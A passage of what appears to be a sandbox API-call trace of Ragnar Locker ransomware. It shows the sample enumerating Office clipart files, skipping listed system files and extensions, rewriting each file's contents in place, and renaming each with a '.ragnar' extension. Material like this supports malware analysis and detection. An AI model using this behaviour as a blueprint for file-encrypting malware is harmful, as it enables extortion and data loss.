lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.094] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107258.WMF" | out: lpString1="J0107258.WMF") returned="J0107258.WMF" [0084.095] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned=".WMF" [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="autorun.inf") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="boot.ini") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="bootfont.bin") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="bootsect.bak") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="bootmgr") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="bootmgr.efi") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="bootmgfw.efi") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="desktop.ini") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="iconcache.db") returned 1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="ntldr") returned -1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="ntuser.dat") returned -1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="ntuser.dat.log") returned -1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="ntuser.ini") returned -1 [0084.095] lstrcmpiW (lpString1="J0107258.WMF", lpString2="thumbs.db") returned -1 [0084.095] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.095] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.095] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.095] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.095] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.095] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.095] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20 [0084.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.096] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8552) returned 1 [0084.096] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x215f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.096] GetProcessHeap () returned 0x580000 [0084.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.096] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2168, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.098] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2168, lpOverlapped=0x0) returned 1 [0084.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.099] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2168, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.099] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2168, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2168, lpOverlapped=0x0) returned 1 [0084.099] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2168, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.099] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.100] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.100] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.100] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.100] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.100] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.100] GetProcessHeap () returned 0x580000 [0084.100] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.100] CloseHandle (hObject=0xf4) returned 1 [0084.100] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" [0084.100] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.ragnar_FD7BD9FC" [0084.100] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.101] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0084.101] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.101] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107262.WMF" | out: lpString1="J0107262.WMF") returned="J0107262.WMF" [0084.101] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned=".WMF" [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="autorun.inf") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="boot.ini") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="bootfont.bin") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="bootsect.bak") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="bootmgr") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="bootmgr.efi") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="bootmgfw.efi") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="desktop.ini") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="iconcache.db") returned 1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="ntldr") returned -1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="ntuser.dat") returned -1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="ntuser.dat.log") returned -1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="ntuser.ini") returned -1 [0084.101] lstrcmpiW (lpString1="J0107262.WMF", lpString2="thumbs.db") returned -1 [0084.101] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.101] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.101] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.101] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.101] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.102] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.102] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20 [0084.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.102] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7996) returned 1 [0084.102] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.102] GetProcessHeap () returned 0x580000 [0084.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.102] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.104] VirtualAlloc (lpAddress=0x0, dwSize=0x1f3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.104] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f3c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f3c, lpOverlapped=0x0) returned 1 [0084.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.105] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f3c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f3c, lpOverlapped=0x0) returned 1 [0084.105] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.105] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.105] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.105] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.106] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.106] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.106] GetProcessHeap () returned 0x580000 [0084.106] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.106] CloseHandle (hObject=0xf4) returned 1 [0084.106] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" [0084.106] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.ragnar_FD7BD9FC" [0084.106] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.107] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0084.107] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.107] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107264.WMF" | out: lpString1="J0107264.WMF") returned="J0107264.WMF" [0084.107] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned=".WMF" [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="autorun.inf") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="boot.ini") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="bootfont.bin") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="bootsect.bak") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="bootmgr") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="bootmgr.efi") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="bootmgfw.efi") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="desktop.ini") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="iconcache.db") returned 1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="ntldr") returned -1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="ntuser.dat") returned -1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="ntuser.dat.log") returned -1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="ntuser.ini") returned -1 [0084.107] lstrcmpiW (lpString1="J0107264.WMF", lpString2="thumbs.db") returned -1 [0084.107] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.107] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.107] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.107] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.107] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.107] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.107] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20 [0084.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.110] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5272) returned 1 [0084.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x148f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.110] GetProcessHeap () returned 0x580000 [0084.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.111] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.112] VirtualAlloc (lpAddress=0x0, dwSize=0x1498, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.112] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.113] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.113] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1498, lpOverlapped=0x0) returned 1 [0084.113] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.113] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1498, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.114] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1498, lpOverlapped=0x0) returned 1 [0084.114] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1498, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.114] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.114] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1498, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.114] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.114] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.114] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.114] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.114] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.114] GetProcessHeap () returned 0x580000 [0084.114] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.114] CloseHandle (hObject=0xf4) returned 1 [0084.114] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" [0084.115] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.ragnar_FD7BD9FC" [0084.115] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.115] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0084.115] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.115] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107266.WMF" | out: lpString1="J0107266.WMF") returned="J0107266.WMF" [0084.115] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned=".WMF" [0084.115] lstrcmpiW (lpString1="J0107266.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.115] lstrcmpiW (lpString1="J0107266.WMF", lpString2="autorun.inf") returned 1 [0084.115] lstrcmpiW (lpString1="J0107266.WMF", lpString2="boot.ini") returned 1 [0084.115] lstrcmpiW (lpString1="J0107266.WMF", lpString2="bootfont.bin") returned 1 [0084.115] lstrcmpiW (lpString1="J0107266.WMF", lpString2="bootsect.bak") returned 1 [0084.115] lstrcmpiW (lpString1="J0107266.WMF", lpString2="bootmgr") returned 1 [0084.115] lstrcmpiW (lpString1="J0107266.WMF", lpString2="bootmgr.efi") returned 1 [0084.116] lstrcmpiW (lpString1="J0107266.WMF", 